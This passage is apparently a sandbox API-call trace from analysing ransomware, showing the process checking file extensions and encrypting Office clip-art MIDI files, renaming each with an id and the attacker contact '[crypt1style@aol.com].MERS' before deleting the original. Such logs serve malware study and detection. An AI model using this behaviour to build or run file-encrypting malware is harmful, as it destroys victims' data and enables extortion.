lpString2=".MID") returned -1 [0264.904] lstrlenW (lpString=".7z") returned 3 [0264.905] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0264.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0264.905] lstrlenW (lpString=".dbf") returned 4 [0264.905] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0264.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0264.905] lstrlenW (lpString=".1cd") returned 4 [0264.905] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0264.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0264.905] lstrlenW (lpString=".jpg") returned 4 [0264.905] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0264.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0264.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0264.905] lstrlenW (lpString=".doc") returned 4 [0264.905] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0264.905] lstrlenW (lpString=".docx") returned 5 [0264.905] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0264.905] lstrlenW (lpString=".pdf") returned 4 [0264.905] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0264.905] lstrlenW (lpString=".xls") returned 4 [0264.905] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0264.905] lstrlenW (lpString=".xlsx") returned 5 [0264.905] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0264.905] lstrlenW (lpString=".ppt") returned 4 [0264.905] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0264.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0264.905] lstrlenW (lpString=".zip") returned 4 [0264.905] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0264.905] lstrlenW (lpString=".rar") returned 4 [0264.905] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0264.905] lstrlenW (lpString=".bz2") returned 4 [0264.905] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0264.905] lstrlenW (lpString=".7z") returned 3 [0264.905] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0264.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0264.905] lstrlenW (lpString=".dbf") returned 4 [0264.906] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0264.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0264.906] lstrlenW (lpString=".1cd") returned 4 [0264.906] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0264.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0264.906] lstrlenW (lpString=".jpg") returned 4 [0264.906] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0264.906] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0264.906] lstrlenW (lpString="PARNT_02.MID") returned 12 [0264.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0264.906] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=5714) returned 1 [0264.906] CloseHandle (hObject=0x39c) returned 1 [0264.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid")) returned 0x20 [0264.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0264.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0264.906] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.907] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0264.907] GetLastError () returned 0x0 [0264.907] ReadFile (in: hFile=0x39c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x1652, lpOverlapped=0x0) returned 1 [0265.212] WriteFile (in: hFile=0x3c8, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x1660, lpOverlapped=0x0) returned 1 [0265.213] ReadFile (in: hFile=0x39c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.213] WriteFile (in: hFile=0x3c8, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.213] SetEndOfFile (hFile=0x3c8) returned 1 [0265.295] CloseHandle (hObject=0x3c8) returned 1 [0265.546] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.547] SetEndOfFile (hFile=0x39c) returned 1 [0265.550] CloseHandle (hObject=0x39c) returned 1 [0265.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0265.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid")) returned 1 [0265.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0265.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0265.926] lstrlenW (lpString=".doc") returned 4 [0265.926] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0265.926] lstrlenW (lpString=".docx") returned 5 [0265.926] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0265.926] lstrlenW (lpString=".pdf") returned 4 [0265.926] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0265.926] lstrlenW (lpString=".xls") returned 4 [0265.927] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0265.927] lstrlenW (lpString=".xlsx") returned 5 [0265.927] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0265.927] lstrlenW (lpString=".ppt") returned 4 [0265.927] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0265.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0265.927] lstrlenW (lpString=".zip") returned 4 [0265.927] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0265.927] lstrlenW (lpString=".rar") returned 4 [0265.927] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0265.927] lstrlenW (lpString=".bz2") returned 4 [0265.927] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0265.927] lstrlenW (lpString=".7z") returned 3 [0265.927] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0265.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0265.927] lstrlenW (lpString=".dbf") returned 4 [0265.927] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0265.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0265.927] lstrlenW (lpString=".1cd") returned 4 [0265.927] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0265.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0265.927] lstrlenW (lpString=".jpg") returned 4 [0265.927] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0265.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0265.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0265.927] lstrlenW (lpString=".doc") returned 4 [0265.927] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0265.927] lstrlenW (lpString=".docx") returned 5 [0265.927] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0265.927] lstrlenW (lpString=".pdf") returned 4 [0265.927] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0265.927] lstrlenW (lpString=".xls") returned 4 [0265.927] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0265.927] lstrlenW (lpString=".xlsx") returned 5 [0265.927] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0265.928] lstrlenW (lpString=".ppt") returned 4 [0265.928] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0265.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0265.928] lstrlenW (lpString=".zip") returned 4 [0265.928] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0265.928] lstrlenW (lpString=".rar") returned 4 [0265.928] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0265.928] lstrlenW (lpString=".bz2") returned 4 [0265.928] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0265.928] lstrlenW (lpString=".7z") returned 3 [0265.928] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0265.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0265.928] lstrlenW (lpString=".dbf") returned 4 [0265.928] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0265.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0265.928] lstrlenW (lpString=".1cd") returned 4 [0265.928] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0265.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0265.928] lstrlenW (lpString=".jpg") returned 4 [0265.928] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0265.928] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0265.928] lstrlenW (lpString="PARNT_05.MID") returned 12 [0265.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.933] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=6020) returned 1 [0265.933] CloseHandle (hObject=0x3a0) returned 1 [0265.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid")) returned 0x20 [0265.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0265.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.933] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.934] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0265.934] GetLastError () returned 0x0 [0265.934] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x1784, lpOverlapped=0x0) returned 1 [0266.045] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x1790, lpOverlapped=0x0) returned 1 [0266.045] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0266.045] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.045] SetEndOfFile (hFile=0x3bc) returned 1 [0266.045] CloseHandle (hObject=0x3bc) returned 1 [0266.046] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.046] SetEndOfFile (hFile=0x3a0) returned 1 [0266.048] CloseHandle (hObject=0x3a0) returned 1 [0266.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0266.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid")) returned 1 [0266.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0266.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0266.048] lstrlenW (lpString=".doc") returned 4 [0266.048] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0266.048] lstrlenW (lpString=".docx") returned 5 [0266.048] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0266.048] lstrlenW (lpString=".pdf") returned 4 [0266.048] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0266.048] lstrlenW (lpString=".xls") returned 4 [0266.048] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0266.048] lstrlenW (lpString=".xlsx") returned 5 [0266.048] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0266.048] lstrlenW (lpString=".ppt") returned 4 [0266.048] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0266.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0266.048] lstrlenW (lpString=".zip") returned 4 [0266.049] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0266.049] lstrlenW (lpString=".rar") returned 4 [0266.049] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0266.049] lstrlenW (lpString=".bz2") returned 4 [0266.049] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0266.049] lstrlenW (lpString=".7z") returned 3 [0266.049] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0266.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0266.049] lstrlenW (lpString=".dbf") returned 4 [0266.049] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0266.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0266.049] lstrlenW (lpString=".1cd") returned 4 [0266.049] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0266.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0266.049] lstrlenW (lpString=".jpg") returned 4 [0266.049] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0266.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0266.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0266.049] lstrlenW (lpString=".doc") returned 4 [0266.049] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0266.049] lstrlenW (lpString=".docx") returned 5 [0266.049] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0266.049] lstrlenW (lpString=".pdf") returned 4 [0266.049] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0266.049] lstrlenW (lpString=".xls") returned 4 [0266.049] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0266.049] lstrlenW (lpString=".xlsx") returned 5 [0266.049] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0266.049] lstrlenW (lpString=".ppt") returned 4 [0266.049] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0266.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0266.049] lstrlenW (lpString=".zip") returned 4 [0266.049] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0266.049] lstrlenW (lpString=".rar") returned 4 [0266.049] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0266.050] lstrlenW (lpString=".bz2") returned 4 [0266.050] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0266.050] lstrlenW (lpString=".7z") returned 3 [0266.050] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0266.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0266.050] lstrlenW (lpString=".dbf") returned 4 [0266.050] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0266.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0266.050] lstrlenW (lpString=".1cd") returned 4 [0266.050] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0266.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0266.050] lstrlenW (lpString=".jpg") returned 4 [0266.050] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0266.050] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0266.050] lstrlenW (lpString="PARNT_08.MID") returned 12 [0266.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0266.050] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=7347) returned 1 [0266.050] CloseHandle (hObject=0x3a0) returned 1 [0266.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid")) returned 0x20 [0266.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0266.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0266.051] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.051] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0266.051] GetLastError () returned 0x0 [0266.051] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x1cb3, lpOverlapped=0x0) returned 1 [0266.092] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x1cc0, lpOverlapped=0x0) returned 1 [0266.093] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0266.093] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.093] SetEndOfFile (hFile=0x3bc) returned 1 [0266.093] CloseHandle (hObject=0x3bc) returned 1 [0266.093] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.093] SetEndOfFile (hFile=0x3a0) returned 1 [0266.095] CloseHandle (hObject=0x3a0) returned 1 [0266.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0266.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid")) returned 1 [0266.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0266.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0266.096] lstrlenW (lpString=".doc") returned 4 [0266.096] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0266.096] lstrlenW (lpString=".docx") returned 5 [0266.096] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0266.096] lstrlenW (lpString=".pdf") returned 4 [0266.096] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0266.096] lstrlenW (lpString=".xls") returned 4 [0266.096] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0266.096] lstrlenW (lpString=".xlsx") returned 5 [0266.096] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0266.096] lstrlenW (lpString=".ppt") returned 4 [0266.096] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0266.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0266.096] lstrlenW (lpString=".zip") returned 4 [0266.096] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0266.096] lstrlenW (lpString=".rar") returned 4 [0266.096] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0266.096] lstrlenW (lpString=".bz2") returned 4 [0266.096] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0266.096] lstrlenW (lpString=".7z") returned 3 [0266.096] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0266.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0266.096] lstrlenW (lpString=".dbf") returned 4 [0266.096] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0266.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0266.096] lstrlenW (lpString=".1cd") returned 4 [0266.096] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0266.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0266.096] lstrlenW (lpString=".jpg") returned 4 [0266.097] 